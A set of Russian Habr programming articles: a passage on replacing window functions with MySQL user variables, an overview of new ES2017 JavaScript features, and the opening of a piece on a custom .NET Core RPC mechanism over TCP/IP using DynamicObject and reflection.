/*Фиктивная таблица, для вывода последовательности в 1 столбец*/
(SELECT 1 X UNION ALL SELECT 2)X;
```
Данный запрос генерирует 18 чисел Фибоначчи, не считая первых двух:
```
2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765
```
Разберём теперь как оно работает.
В строчках 5) 6) генерируется 9 записей. Тут ничего необычного.
В строчке 7) мы объявляем две переменные @I, @J и присваиваем им 1.
В строке 3) происходит следующее: сначала переменной @I присваивается сумма двух переменных. Затем то же самое присваиваем переменной @J, причем с учетом того, что значение @I уже поменялось.
Другими словами, вычисления в SELECT выполняются слева направо – см. также замечание в начале статьи.
Причем изменение переменных осуществляется в каждой из наших 9 записей, т.е. при обработке каждой новой строки в переменных @I и @J будут содержаться значения, вычисленные при обработке предыдущей строки.
Чтобы решить эту же задачу средствами других СУБД, нам пришлось бы писать рекурсивный запрос!
**Примечание:**
*Переменные нужно объявлять в отдельном подзапросе (строка 7), если бы мы объявили переменную в предложении SELECT, она, скорее всего, вычислилась бы только 1 раз (хотя конкретное поведение будет зависеть от версии сервера). Тип переменной определяется значением, которым она инициализирована. Этот тип может динамически меняться. Если переменной присвоить NULL, её типом будет BLOB.*
Порядок обработки строк в SELECT, как было сказано выше, зависит от пользовательской сортировки. Простой пример нумерации строк в заданном порядке:
```
SELECT val, @I:=@I+1 Num
FROM
(SELECT 30 val UNION ALL SELECT 20 UNION ALL SELECT 10 UNION ALL SELECT 50)a,
(SELECT @I := 0)I
ORDER BY val;
```
```
Val Num
10 1
20 2
30 3
50 4
```
Аналоги аналитических функций
-----------------------------
Переменные также можно использовать для замены аналитических функций. Далее несколько примеров. Для простоты будем считать, что все поля NOT NULL, а сортировка и партиционирование (PARTITION BY) происходят по одному полю. Использование NULL значений и более сложных сортировок сделает примеры более громоздкими, но суть не поменяет.
Для примеров создадим таблицу TestTable:
```
CREATE TABLE TestTable(
group_id INT NOT NULL,
order_id INT UNIQUE NOT NULL,
value INT NOT NULL
);
```
где
group\_id – идентификатор группы (аналог окна аналитической функции);
order\_id – уникальное поле, по которому будет производиться сортировка;
value – некоторое числовое значение.
Заполним нашу таблицу тестовыми данными:
```
INSERT TestTable(order_id, group_id, value)
SELECT *
FROM(
SELECT 1 order_id, 1 group_id, 1 value
UNION ALL SELECT 2, 1, 2
UNION ALL SELECT 3, 1, 2
UNION ALL SELECT 4, 2, 1
UNION ALL SELECT 5, 2, 2
UNION ALL SELECT 6, 2, 3
UNION ALL SELECT 7, 3, 1
UNION ALL SELECT 8, 3, 2
UNION ALL SELECT 9, 4, 1
UNION ALL SELECT 11, 3, 2
)T;
```
Примеры замены некоторых аналитических функций.
### 1) ROW\_NUMBER() OVER(ORDER BY order\_id)
```
SELECT T.*, @I:=@I+1 RowNum
FROM TestTable T,(SELECT @I:=0)I
ORDER BY order_id;
```
`group_id order_id value RowNum
1 1 1 1
1 2 2 2
1 3 2 3
2 4 1 4
2 5 2 5
2 6 3 6
3 7 1 7
3 8 2 8
4 9 1 9
3 11 2 10`
### 2) ROW\_NUMBER() OVER(PARTITION BY group\_id ORDER BY order\_id)
```
SELECT group_id, order_id, value, RowNum
FROM(
SELECT T.*,
IF(@last_group_id = group_id, @I:=@I+1, @I:=1) RowNum,
@last_group_id := group_id
FROM TestTable T,(SELECT @last_group_id:=NULL, @I:=0)I
ORDER BY group_id, order_id
)T;
```
`group_id order_id value RowNum
1 1 1 1
1 2 2 2
1 3 2 3
2 4 1 1
2 5 2 2
2 6 3 3
3 7 1 1
3 8 2 2
3 11 2 3
4 9 1 1`
### 3) SUM(value) OVER(PARTITION BY group\_id ORDER BY order\_id)
```
SELECT group_id, order_id, value, RunningTotal
FROM(
SELECT T.*,
IF(@last_group_id = group_id, @I:=@I+value, @I:=value) RunningTotal,
@last_group_id := group_id
FROM TestTable T, (SELECT @last_group_id:=NULL, @I:=0)I
ORDER BY group_id, order_id
)T;
```
`group_id order_id value RunningTotal
1 1 1 1
1 2 2 3
1 3 2 5
2 4 1 1
2 5 2 3
2 6 3 6
3 7 1 1
3 8 2 3
3 11 2 5
4 9 1 1`
### 4) LAG(value) OVER(PARTITION BY group\_id ORDER BY order\_id)
```
SELECT group_id, order_id, value, LAG
FROM(
SELECT T.*,
IF(@last_group_id = group_id, @last_value, NULL) LAG,
@last_group_id := group_id,
@last_value := value
FROM TestTable T,(SELECT @last_value:=NULL, @last_group_id:=NULL)I
ORDER BY group_id, order_id
)T;
```
`group_id order_id value LAG
1 1 1 NULL
1 2 2 1
1 3 2 2
2 4 1 NULL
2 5 2 1
2 6 3 2
3 7 1 NULL
3 8 2 1
3 11 2 2
4 9 1 NULL`
Для LEAD всё то же самое, только нужно сменить сортировку на ORDER BY group\_id, order\_id DESC
Для функций COUNT, MIN, MAX всё несколько сложнее, поскольку, пока мы не проанализируем все строчки в группе(окне), мы не сможем узнать значение функции. MS SQL, например, для этих целей «спулит» окно (временно помещает строки окна в скрытую буферную таблицу для повторного к ним обращения), в MySQL такой возможности нет. Но мы можем для каждого окна вычислить значение функции в последней строке при заданной сортировке (т.е. после анализа всего окна), а затем, отсортировав строки в окне в обратном порядке, проставить вычисленное значение по всему окну.
Таким образом, нам понадобится две сортировки. Чтобы итоговая сортировка осталась той же, что и в примерах выше, отсортируем сначала по полям group\_id ASC, order\_id DESC, затем по полям group\_id ASC, order\_id ASC.
### 5) COUNT(\*) OVER(PARTITION BY group\_id)
В первой сортировке мы просто нумеруем записи. Во второй всем строкам окна присваиваем максимальный номер, который и будет соответствовать количеству строк в окне.
```
SELECT group_id, order_id, value, Cnt
FROM(
SELECT group_id, order_id, value,
IF(@last_group_id = group_id, @MaxRowNum, @MaxRowNum := RowNumDesc) Cnt,
@last_group_id := group_id
FROM(
SELECT T.*,
IF(@last_group_id = group_id, @I:=@I+1, @I:=1) RowNumDesc,
@last_group_id := group_id
FROM TestTable T,(SELECT @last_group_id:=NULL, @I:=0)I
ORDER BY group_id, order_id DESC /*первая сортировка*/
)T,(SELECT @last_group_id:=NULL, @MaxRowNum:=NULL)I
ORDER BY group_id, order_id /*вторая сортировка*/
)T;
```
`group_id order_id value Cnt
1 1 1 3
1 2 2 3
1 3 2 3
2 4 1 3
2 5 2 3
2 6 3 3
3 7 1 3
3 8 2 3
3 11 2 3
4 9 1 1`
Функции MAX и MIN вычисляются по аналогии. Приведу только пример для MAX:
### 6) MAX(value) OVER(PARTITION BY group\_id)
```
SELECT group_id, order_id, value, MaxVal
FROM(
SELECT group_id, order_id, value,
IF(@last_group_id = group_id, @MaxVal, @MaxVal := MaxVal) MaxVal,
@last_group_id := group_id
FROM(
SELECT T.*,
IF(@last_group_id = group_id, GREATEST(@MaxVal, value), @MaxVal:=value) MaxVal,
@last_group_id := group_id
FROM TestTable T,(SELECT @last_group_id:=NULL, @MaxVal:=NULL)I
ORDER BY group_id, order_id DESC
)T,(SELECT @last_group_id:=NULL, @MaxVal:=NULL)I
ORDER BY group_id, order_id
)T;
```
`group_id order_id value MaxVal
1 1 1 2
1 2 2 2
1 3 2 2
2 4 1 3
2 5 2 3
2 6 3 3
3 7 1 2
3 8 2 2
3 11 2 2
4 9 1 1`
### 7) COUNT(DISTINCT value) OVER(PARTITION BY group\_id)
Интересная вещь, которая отсутствует в MS SQL Server, но её можно вычислить с подзапросом, взяв MAX от RANK. Так же поступим и здесь. В первой сортировке вычислим RANK() OVER(PARTITION BY group\_id ORDER BY value DESC), затем во второй сортировке проставим максимальное значение всем строкам в каждом окне:
```
SELECT group_id, order_id, value, Cnt
FROM(
SELECT group_id, order_id, value,
IF(@last_group_id = group_id, @Rank, @Rank := Rank) Cnt,
@last_group_id := group_id
FROM(
SELECT T.*,
IF(@last_group_id = group_id,
IF(@last_value = value, @Rank, @Rank:=@Rank+1)
, @Rank:=1) Rank,
@last_group_id := group_id,
@last_value := value
FROM TestTable T,(SELECT @last_value:=NULL, @last_group_id:=NULL, @Rank:=0)I
ORDER BY group_id, value DESC, order_id DESC
)T,(SELECT @last_group_id:=NULL, @Rank:=NULL)I
ORDER BY group_id, value, order_id
)T;
```
`group_id order_id value Cnt
1 1 1 2
1 2 2 2
1 3 2 2
2 4 1 3
2 5 2 3
2 6 3 3
3 7 1 2
3 8 2 2
3 11 2 2
4 9 1 1`
Производительность
------------------
Для начала сравним по производительности нумерацию строк в запросе с помощью самосоединения и с помощью переменных.
#### 1) Классический способ с самомоединением
```
SELECT COUNT(*)N, T1.*
FROM TestTable T1
JOIN TestTable T2 ON T1.order_id >= T2.order_id
GROUP BY T1.order_id;
```
Что на 10000 записей в таблице TestTable выдаёт:
Duration / Fetch
16.084 sec / 0.016 sec
#### 2) С использованием переменных:
```
SELECT @N:=@N+1 N, T1.*
FROM TestTable T1, (SELECT @N := 0)M
ORDER BY T1.order_id;
```
Выдаёт:
Duration / Fetch
0.016 sec / 0.015 sec
Результат говорит сам за себя. Однако надо понимать, что вычисленные с помощью переменных значения не оптимально использовать в условиях фильтрации. Сортировка и вычисление будут происходить для ВСЕХ строк, несмотря на то, что в итоге нам нужна только малая их часть.
Рассмотрим более подробно на примере такой задачи:
**Вывести по 2 первые строки из таблицы TestTable для каждого значения group\_id, отсортированных по order\_id.**
Вот как эта задача решалась бы в СУБД с поддержкой аналитических функций:
```
SELECT group_id, order_id, value
FROM(
SELECT *, ROW_NUMBER()OVER(PARTITION BY group_id ORDER BY order_id) RowNum
FROM TestTable
)T
WHERE RowNum <= 2;
```
Однако оптимизатор MySQL ничего не знает о том, по каким правилам мы вычисляем поле RowNum. Ему придётся пронумеровать ВСЕ строки, и только потом отобрать нужные.
Теперь представьте, что у нас 1 миллион записей и 20 уникальных значений group\_id. Т.е. чтобы выбрать 40 строк, MySQL будет вычислять значение RowNum для миллиона строк! Красивого решения этой задачи одним запросом в MySQL нет. Но можно сначала получить список уникальных значений group\_id, например, так:
```
SELECT DISTINCT group_id FROM TestTable;
```
Затем средствами любого другого языка программирования сгенерировать запрос вида:
```
SELECT * FROM TestTable WHERE group_id=1 ORDER BY order_id LIMIT 2
UNION ALL
SELECT * FROM TestTable WHERE group_id=2 ORDER BY order_id LIMIT 2
UNION ALL
…
SELECT * FROM TestTable WHERE group_id=20 ORDER BY order_id LIMIT 2;
```
20 лёгких запросов отработают намного быстрее, чем вычисление RowNum для миллиона строк. | https://habr.com/ru/post/442706/ | null | ru | null |
# ES8 вышел и вот его основные новые возможности
Новые фичи восьмой редакции EcmaScript.
EcmaScript 8 или EcmaScript 2017 был официально выпущен комитетом TC39 в конце июня. Кажется, мы много говорили о EcmaScript в прошлом году и это было не просто так. На данный момент стандартом является выпуск новой спецификации раз в год. ES6 был опубликован в 2015, а ES7 в 2016, но кто-нибудь помнит, когда вышел ES5? Это было в 2009 году, до волшебного взлета JavaScript.
Итак, мы следим за изменениями в разработке стабильного языка JavaScript, и теперь нам надо добавить ES8 в свой лексикон.
> ES2017 (the 8th edition of the JavaScript Spec) was officially released and published yesterday! <https://t.co/1ITn5bzaqj>
>
> — Kent C. Dodds (@kentcdodds) [June 28, 2017](https://twitter.com/kentcdodds/status/880121426824630273)
Суровые люди, могут сделать глубокий вдох и прочитать [web](https://www.ecma-international.org/ecma-262/8.0/index.html) или [PDF](https://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf) версию спецификации. Для остальных в этой статье мы рассмотрим главные новые возможности ES8 с примерами.
Паддинги строк
--------------
В этом разделе добавлены две функции в объект String: padStart и padEnd. Как можно понять из их названия, цель этих функций – дополнить строку от начала или конца так, что **в результате строка достигнет указанной длины**. Вы можете дополнить строку определёнными символами или пробелами по умолчанию.
Вот декларация функций:
```
str.padStart(targetLength [, padString])
str.padEnd(targetLength [, padString])
```
Как видно, первый параметр этих функций `targetLength` – это полная длина итоговой строки. Второй опциональный параметр `padString` – это строка для дополнения исходной строки. По умолчанию – пробел.
```
'es8'.padStart(2); // 'es8'
'es8'.padStart(5); // ' es8'
'es8'.padStart(6, 'woof'); // 'wooes8'
'es8'.padStart(14, 'wow'); // 'wowwowwowwoes8'
'es8'.padStart(7, '0'); // '0000es8'
'es8'.padEnd(2); // 'es8'
'es8'.padEnd(5); // 'es8 '
'es8'.padEnd(6, 'woof'); // 'es8woo'
'es8'.padEnd(14, 'wow'); // 'es8wowwowwowwo'
'es8'.padEnd(7, '6'); // 'es86666'
```
Object.values и Object.entries
------------------------------
Метод `Object.values` возвращает массив собственных перечисляемых свойств переданного объекта в том же порядке, который предоставляет цикл `for in`.
Декларация функции тривиальна:
```
Object.values(obj)
```
Параметр `obj` – исходный объект для операции. Это может быть объект или массив (который является объектом с такими индексами [10, 20, 30] -> { 0: 10, 1: 20, 2: 30 } ).
```
const obj = { x: 'xxx', y: 1 };
Object.values(obj); // ['xxx', 1]
const obj = ['e', 's', '8']; // same as { 0: 'e', 1: 's', 2: '8' };
Object.values(obj); // ['e', 's', '8']
// когда мы используем числовые ключи, значения возвращаются
// в порядке сортировки по ключам
const obj = { 10: 'xxx', 1: 'yyy', 3: 'zzz' };
Object.values(obj); // ['yyy', 'zzz', 'xxx']
Object.values('es8'); // ['e', 's', '8']
```
Метод `Object.entries` возвращает массив собственных перечисляемых свойств переданного объекта парами `[ключ, значение]` в том же порядке, как и `Object.values`.
Декларация тривиальна:
```
const obj = { x: 'xxx', y: 1 };
Object.entries(obj); // [['x', 'xxx'], ['y', 1]]
const obj = ['e', 's', '8'];
Object.entries(obj); // [['0', 'e'], ['1', 's'], ['2', '8']]
const obj = { 10: 'xxx', 1: 'yyy', 3: 'zzz' };
Object.entries(obj); // [['1', 'yyy'], ['3', 'zzz'], ['10': 'xxx']]
Object.entries('es8'); // [['0', 'e'], ['1', 's'], ['2', '8']]
```
Object.getOwnPropertyDescriptors
--------------------------------
Метод `getOwnPropertyDescriptors` возвращает дескрипторы собственных свойств указанного объекта. Дескриптор собственного свойства это тот, который определён прямо у объекта, а не унаследован от его прототипа.
Декларация функции такая:
```
Object.getOwnPropertyDescriptor(obj, prop)
```
`obj` – исходный объект и `prop` – имя свойства, дескриптор которого нужно получить. Возможные ключи в результате: *configurable, enumerable, writable, get, set и value*.
```
const obj = { get es8() { return 888; } };
Object.getOwnPropertyDescriptor(obj, 'es8');
// {
// configurable: true,
// enumerable: true,
// get: function es8(){}, // функция геттер
// set: undefined
// }
```
Данные дескрипторов очень важны для таких [продвинутых фич, как декораторы](https://hackernoon.com/all-you-need-to-know-about-decorators-a-case-study-4a7e776b22a6).
Лишние запятые в списке параметров функции и вызове
---------------------------------------------------
Возможность указать лишние запятые в параметрах функции позволяет не получать ошибку (`SyntaxError`) когда мы добавили запятую в конце списка:
```
function es8(var1, var2, var3,) {
// ...
}
```
Как и в объявлении функции, этот синтаксис можно использовать и при её вызове:
```
es8(10, 20, 30,);
```
Эта возможность была вдохновлена лишними запятыми в литералах объекта `{ x: 1, }` и литералах массива `[10, 20, 30,]`.
Асинхронные функции
-------------------
Объявление `async function` определяет асинхронную функцию, которая возвращает объект `[AsyncFunction](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/AsyncFunction)`. Внутреннее устройство асинхронных функций работает подобно генераторам, но они не транслируются в функции генератора.
```
function fetchTextByPromise() {
return new Promise(resolve => {
setTimeout(() => {
resolve("es8");
}, 2000);
});
}
async function sayHello() {
const externalFetchedText = await fetchTextByPromise();
console.log(`Hello, ${externalFetchedText}`); // Hello, es8
}
sayHello();
```
Вызов `sayHello` выведет `Hello, es8` через 2 секунды.
```
console.log(1);
sayHello();
console.log(2);
```
Напечатает:
`1 // сразу
2 // сразу
Hello, es8 // через 2 секунды`
Это связано с тем, что вызов функции не блокирует поток выполнения.
Обратите внимание, что `async function` всегда возвращает промис и ключевое слово `await` может использоваться только в функциях с ключевым словом `async`.
Разделяемая память и атомарные операции
---------------------------------------
Когда память разделяемая, множество потоков может читать и писать те же данные в памяти. Атомарные операции позволяют убедиться, что предсказуемые значения записаны и прочитаны, что операции завершены до начала следующих операций. В этом разделе представлен новый конструктор `SharedArrayBuffer` и объект `Atomics` со статическими методами.
Объект `Atomics` – это набор статических методов как `Math`, так что мы не сможем вызвать его конструктор. Примеры статических методов этого объекта:
* add / sub — добавление / вычитание значения из значения в указанной позиции
* and / or / xor — побитовое «И» / побитовое «ИЛИ» / исключающее «ИЛИ»
* load — получение значения в указанной позиции
И один момент на следующий год в ES9 – снятие ограничений для шаблонных литералов
---------------------------------------------------------------------------------
С тегированными шаблонными строками (ES6) мы можем делать такие штуки, как объявление функций для парсинга шаблонов и возвращения значений согласно какой-то логике.
```
const esth = 8;
helper`ES ${esth} is `;
function helper(strs, ...keys) {
const str1 = strs[0]; // ES
const str2 = strs[1]; // is
let additionalPart = '';
if (keys[0] == 8) { // 8
additionalPart = 'awesome';
}
else {
additionalPart = 'good';
}
return `${str1} ${keys[0]} ${str2} ${additionalPart}.`;
}
```
Вернется значение → ES 8 is awesome. И для `esth` равным 7 вернётся → ES 7 is good.
Но существуют ограничения для шаблонов, которые содержат подстроки \u или \x. ES9 решит проблему экранирования. Читайте подробнее на [сайте MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) или в [документе TC39](https://tc39.github.io/proposal-template-literal-revision/).
Заключение
----------
JavaScript уже в продакшене, но всегда обновляется. Процесс принятия новых возможностей в спецификацию очень организован и устойчив. На последнем этапе этот функционал подтверждается комитетом TC39 и реализуется основными разработчиками. Большинство из них уже реализовано в языке Typescript, браузерах или разных полифиллах, так что вы можете пробовать их уже сейчас. | https://habr.com/ru/post/332900/ | null | ru | null |
# .Net Core, AppDomain, WCF, RPC маршалинг по Tcp/Ip свой велосипед
Как известно, в .Net Core, на данный момент, нет AppDomain, а WCF только SOAP клиент [.Net Core, WCF и ODATA клиенты](https://habrahabr.ru/post/310152/).
Конечно, задачу можно решить и через Web Api с WebSockets для вызова событий. Но, я просто предлагаю альтернативное решение на маршалинге по TCP/IP и создание объектов, и вызов методов на стороне сервера с помощью Reflection.
Вот как выглядит удаленный вызов методов и свойств. Пример взят отсюда [Основы перегрузки операторов](https://professorweb.ru/my/csharp/charp_theory/level6/6_4.php):
```
// Выведем сообщение в консоли сервера
string typeStr = typeof(Console).AssemblyQualifiedName;
var _Console = wrap.GetType(typeStr);// Получим тип на сервере по имени
// "Hello from Client" будет выведено в консоле сервера
_Console.WriteLine("Hello from Client");
// получим тип по имени класса TestDllForCoreClr.MyArr
// Из сборки TestDll.dll
var MyArr = wrap.GetType("TestDllForCoreClr.MyArr", "TestDll");
// Создадим объекты на стороне сервера
// и получим ссылки на них
var Point1 = MyArr._new(1, 12, -4); // new MyArr(1, 12, -4);
var Point2 = MyArr._new(0, -3, 18); // new MyArr(0, -3, 18);
// Все операции с объектами PointX происходят на стороне сервера
Console.WriteLine("Координаты первой точки: "+Point1.x+" "+Point1.y+" "+Point1.z);
Console.WriteLine("Координаты второй точки: "+Point2.x+" "+Point2.y + " "+ Point2.z);
var Point3 = Point1 + Point2;
Console.WriteLine("\nPoint1 + Point2 = " + Point3.x + " " + Point3.y + " " + Point3.z);
Point3 = Point1 - Point2;
Console.WriteLine("Point1 - Point2 = "+ Point3.x + " " + Point3.y + " " + Point3.z);
Point3 = -Point1;
Console.WriteLine("-Point1 = " + Point3.x + " " + Point3.y + " " + Point3.z);
Point2++;
Console.WriteLine("Point2++ = "+ Point2.x + " " + Point2.y + " " + Point2.z);
Point2--;
Console.WriteLine("Point2-- = " + Point2.x + " " + Point2.y + " " + Point2.z);
```
Непонятны только методы wrap.GetType и MyArr.\_new и \_Console не родной. Все остальное один в один работа с объектами на C#.
На самом деле, Point1 и Point2 и Point3 это наследники DynamicObject с переопределенными методами TryXXX, а внутри них происходит упаковка типа метода, имя метода и параметров в Stream и передача его на Сервер по протоколу Tcp/IP, где он распаковывается и вызывается метод, который ищется по типу, названию метода и параметрам. После получения результата, те же процедуры но, только с сервера на клиента.
Само решение очень близко с COM out process взаимодействием на IDispatch. Помню с удовольствием разбирался с внутренностями [TSocketConnection](http://compress.ru/article.aspx?id=10688).
Но, в отличие от Idispatch, используется перегрузка методов и операторов, вызов Generic методов с выводом типов или с заданием Generic аргументов. Поддержка методов расширений для классов, находящихся в одной сборке и для Linq методов.
Также поддержка асинхронных методов и подписка на события, ref и out параметры, доступ по индексу [], поддержка итераторов в foreach.
В отличии от Web Api, не нужно писать специально серверный код Controller, Hub ы.
Это близко к [AppDomain c Remouting](https://habrahabr.ru/post/242209/) но, в отличие от Remoting, каждый класс является аналогом MarshalByRefObject. То есть, мы можем создать любой объект на стороне сервера и вернуть ссылку на него (некоторые языки из чисел поддерживают только double).
При вызове методов, напрямую сериализуются параметры только следующих типов: числа, строки, дата, Guid и byte[]. Для остальных типов нужно их создать на стороне сервера, а в параметрах методов уже передаются ссылки на них.
Так примеры можно посмотреть на TypeScript, который по синтаксису близок к C#
[CEF, ES6, Angular 2, TypeScript использование классов .Net Core. Создание кроссплатформенного GUI для .Net с помощью CEF](https://habrahabr.ru/post/320960/)
[CEF, Angular 2 использование событий классов .Net Core](https://habrahabr.ru/post/321452/)
Вызов метода на стороне сервера можно посмотреть здесь [Кроссплатформенное использование классов .Net из неуправляемого кода. Или аналог IDispatch на Linux](https://habrahabr.ru/post/304482/).
В этой статье я сосредоточусь на особенностях использования DinamicObject, маршалинга для вызова объектных и статических методов удаленных объектов.
Первое, с чего начнем — это с загрузки нужной сборки и получения типа. В первом примере мы получали тип по полному имени типа, по имени типа и имени сборки.
```
// Получим ссылку на сборку
//вызывается метод на сервере
//public static Assembly GetAssembly(string FileName, bool IsGlabalAssembly = false)
//Если IsGlabalAssembly == true? то ищется сборка в каталоге typeof(string).GetTypeInfo().Assembly.Location
//Иначе в каталоге приложения Server
var assembly = wrap.GetAssembly("TestDll");
// Получим из неё нужный тип
var @TestClass = assembly.GetType("TestDllForCoreClr.TestClass");
// Можно получить тип , зная имя класса и имя сборки. Удобно, когда нужен только один тип
//Метод на сервере
//public static Type GetType(string type, string FileName = "", bool IsGlabalAssembly = false)
//var @TestClass = wrap.GetType("TestDllForCoreClr.TestClass", "TestDll");
```
Теперь, имея ссылку на тип, можно создать объект, вызвав мeтод \_new или вызвать метод врапера New.
```
var TO = @TestClass._new("Property from Constructor");
```
или
```
wrap.New(@TestClass,"Property from Constructor");
```
Можно конструировать Generic типы:
```
var Dictionary2 = wrap.GetType("System.Collections.Generic.Dictionary`2", "System.Collections");
var DictionaryIntString = wrap.GetGenericType(Dictionary2, "System.Int32", "System.String");
var dict = wrap.New(DictionaryIS);
```
Во wrap.New и wrap.GetGenericType можно передавать ссылки на типы или их строковое представление. Для строковых главное, что бы сборки были загружены.
Следующий вариант — это скопировать объект на сервер. Это важно потому, что скорость обмена по Tcp/IP составляет порядка 15 000 вызовов в секунду, при постоянном соединениии и всего 2000 при соединении на каждый запрос [TCP/IP скорость обмена](http://ru.stackoverflow.com/questions/630653/tcp-ip-%d1%81%d0%ba%d0%be%d1%80%d0%be%d1%81%d1%82%d1%8c-%d0%be%d0%b1%d0%bc%d0%b5%d0%bd%d0%b0/634019#634019).
```
var ClientDict = new Dictionary()
{
[1] = "Один",
[2] = "Два",
[3] = "Три"
};
// Скопируем объект с помощью Json сериализации .
//Более подробно чуть ниже.
var dict = connector.CoryTo(ClientDict);
```
теперь dict это ссылка на словарь на стороне сервера, и можем передавать в параметрах.
```
// Вызовем дженерик метод с автовыводом типа
//public V GenericMethod(Dictionary param1, K param2, V param3)
resGM = TO.GenericMethod(dict, 99, "Hello");
Console.WriteLine("Вызов дженерик метода с выводом типа " + resGM);
```
Мы можем использовать индексы для доступа и установки значения
```
Console.WriteLine("dict[2] " + dict[2]);
dict[2] = "Два";
Console.WriteLine("dict[2] " + dict[2]);
```
Можем использовать итератор
```
foreach (string value in dict.Values)
Console.WriteLine("Dict Values " + value);
```
Теперь я обращу ваше внимание на отличие синтаксиса. Прежде всего, это вызов Generic методов с заданием Generic аргуметов, ref и out параметров, асинхронный вызов.
```
// Будем вызывать следующий метод
// public V GenericMethodWithRefParam<К,V >(К param, V param2, ref string param3)
// Не получилось у меня использовать ref параметр. Ошибка, платформа не поддерживает.
// Создадим объект класса RefParam, у которого есть поле Value куда и будет записываться результат
var OutParam = new ClientRPC.RefParam("TroLoLo");
resGM = TO.GenericMethodWithRefParam(5, "GenericMethodWithRefParam", OutParam);
Console.WriteLine($@"Вызов дженерик метода с автовыводом типов Ref {resGM} {OutParam.Value}");
// Массив параметров для получения нужного метода
var GenericArgs = new object[] { "System.String", "System.String" };
// Массив может быть из строк и ссылок на типы например:
// var @Int32 = wrap.GetType("System.Int32");
//var GenericArgs = new object[] {@Int32, "System.String" };
// Первым параметром для вызова дженерик метода без вывода типа по параметрам
// должен быть массив представления типов
// Это аналог вызова
// resGM = TO.GenericMethodWithRefParam(null, "GenericMethodWithRefParam", ref OutParam)
resGM = TO.GenericMethodWithRefParam(GenericArgs, null, "GenericMethodWithRefParam", OutParam);
Console.WriteLine($@"Вызов дженерик метода с дженерик аргументами Ref {resGM} {OutParam.Value}");
// Test return null
resGM = TO.GenericMethodWithRefParam(GenericArgs, null, null, OutParam);
Console.WriteLine($@"Вызов дженерик метода с дженерик аргументами Ref {resGM} {OutParam}");
```
Класс RefParam нужен для записи изменённого параметра в поле Value.
```
public class RefParam
{
public dynamic Value;
public RefParam(object Value)
{
this.Value = Value;
}
public RefParam()
{
this.Value = null;
}
public override string ToString()
{
return Value?.ToString();
}
}
```
Для вызова асинхронного метода:
```
// public async Task GenericMethodAsync(K param, string param4 = "Test")
var GenericArgs = new object[] { "System.Int32", "System.String" };
object resTask = await TO.async.GenericMethodAsync(GenericArgs , 44);
```
Нужно перед именем асинхронного метода добавить слово **async**
Если у вас есть Task, то можно дождаться выполнения, вызвав:
```
int res =await wrap.async.ReturnParam(task);
```
Еще одно отличие от реального кода заключается в том, что мы не можем напрямую использовать перегрузку ==
```
if (myObject1 == myObject2)
Console.WriteLine("Объекты равны перегрузка оператора ==");
```
Вместо него мы должны явно вызвать
```
if (myObject1.Equals(myObject2))
Console.WriteLine("Объекты равны Equals");
```
или, если есть перегрузка, оператора ==
```
if (MyArr.op_Equality(myObject1,myObject2))
Console.WriteLine("Объекты равны op_Equality");
```
Есть поддержка объектов, поддерживающих System.Dynamic.IDynamicMetaObjectProvider. Это ExpandoObject, DinamicObject, JObject итд.
Возьмем для тестов следующий объект:
```
public object GetExpandoObject()
{
dynamic res = new ExpandoObject();
res.Name = "Test ExpandoObject";
res.Number = 456;
res.toString = (Func)(() => res.Name);
res.Sum = (Func)((x, y) => x + y);
return res;
}
```
Теперь можно его использовать:
```
var EO = TO.GetExpandoObject();
Console.WriteLine("Свойство ExpandoObject Имя " + EO.Name);
Console.WriteLine("Свойство ExpandoObject Число " + EO.Number);
// Получим делегат
var Delegate = EO.toString;
Console.WriteLine("Вызов делегата toString " + Delegate()); // Вызовем как делегат
// Для ExpandoObject можно вызвать как метод
Console.WriteLine("Вызов Метода toString " + EO.toString());
var DelegateSum = EO.Sum;
Console.WriteLine("Вызов делегата Sum " + DelegateSum(3,4)); // Вызовем как делегат
// Для ExpandoObject можно вызвать как метод
Console.WriteLine("Вызов Метода Sum " + EO.Sum(3,4)); // Для ExpandoObject
}
```
Как видно из примера, поддерживаются не только методы и свойства, но и делегаты. Часто нужно приводить объекты к интерфейсам. Для этого есть ключевое слово \_as.
```
string[] sa = new string[] { "Нулевой", "Первый", "Второй", "Третий", "Четвертый" };
// Скопируем массив на сервер
var ServerSa = Connector.CoryTo(sa);
// Получим интерфейс IEnumerable по имени
var en = ServerSa._as("IEnumerable");
var Enumerator = en.GetEnumerator();
while(Enumerator.MoveNext())
Console.WriteLine(Enumerator.Current);
// Получим ссылки на типы
var @IEnumerable = wrap.GetType("System.Collections.IEnumerable");
var @IEnumerator = wrap.GetType("System.Collections.IEnumerator");
// Для приведения к типу, используем ссылки на типы
en = ServerSa._as(@IEnumerable);
Enumerator = en.GetEnumerator();
// На всякий случай приведем к Интерфейсу IEnumerator
Enumerator = Enumerator._as(@IEnumerator);
while (Enumerator.MoveNext())
Console.WriteLine(Enumerator.Current);
```
Теперь перейдем к полуавтоматической сериализации.
```
var dict = connector.CoryTo(ClientDict);
```
Внутри connector.CoryTo происходит Json сериализация.
```
public dynamic CoryTo(object obj)
{
// Получим строковое представление типа
// Нужен для десериализации на сервере
string type = obj.GetType().AssemblyQualifiedName;
var str = JsonConvert.SerializeObject(obj);
return CoryTo(type, str);
}
```
Необходимо, что бы сборка сериализуемого типа была загружена на сервере. Пояснение чуть ниже.
Также на клиенте может не быть сборки с сериализуемым типом. Поэтому для сериализации мы можем использовать [JObject](http://www.newtonsoft.com/json/help/html/CreatingLINQtoJSON.htm)
[Анонимных типов](http://www.newtonsoft.com/json/help/html/CreateJsonAnonymousObject.htm).
[JsonObject](http://www.newtonsoft.com/json/help/html/SerializationGuide.htm#Dynamic)
Мы можем указать тип, ввиде строки или ссылки на тип и объект, который нужно сериализовать.
```
public dynamic CoryTo(object type, object obj)
{
var str = JsonConvert.SerializeObject(obj);
return CoryTo(type, str);
}
```
И в итоге, отослать на сервер:
```
// type может быть ссылкой на Type AutoWrapClient на стороне сервера
// Или строковым представлением типа
public dynamic CoryTo(object type, string objToStr)
{
object result;
var res = AutoWrapClient.TryInvokeMember(0, "JsonToObject", new object[] { type, objToStr }, out result, this);
if (!res)
throw new Exception(LastError);
return result;
}
```
Следует отметить, что для десериализации на строке сервера, сборка с типом должна быть загружена на стороне сервера.
```
static void TestSerializeObject(ClientRPC.TCPClientConnector connector)
{
// Создадим объект на стороне клиента
var obj = new TestDllForCoreClr.TestClass("Объект на стороне Клиента");
dynamic test = null;
try
{ // Скопируем объект на сервер
test = connector.CoryTo(obj);
}
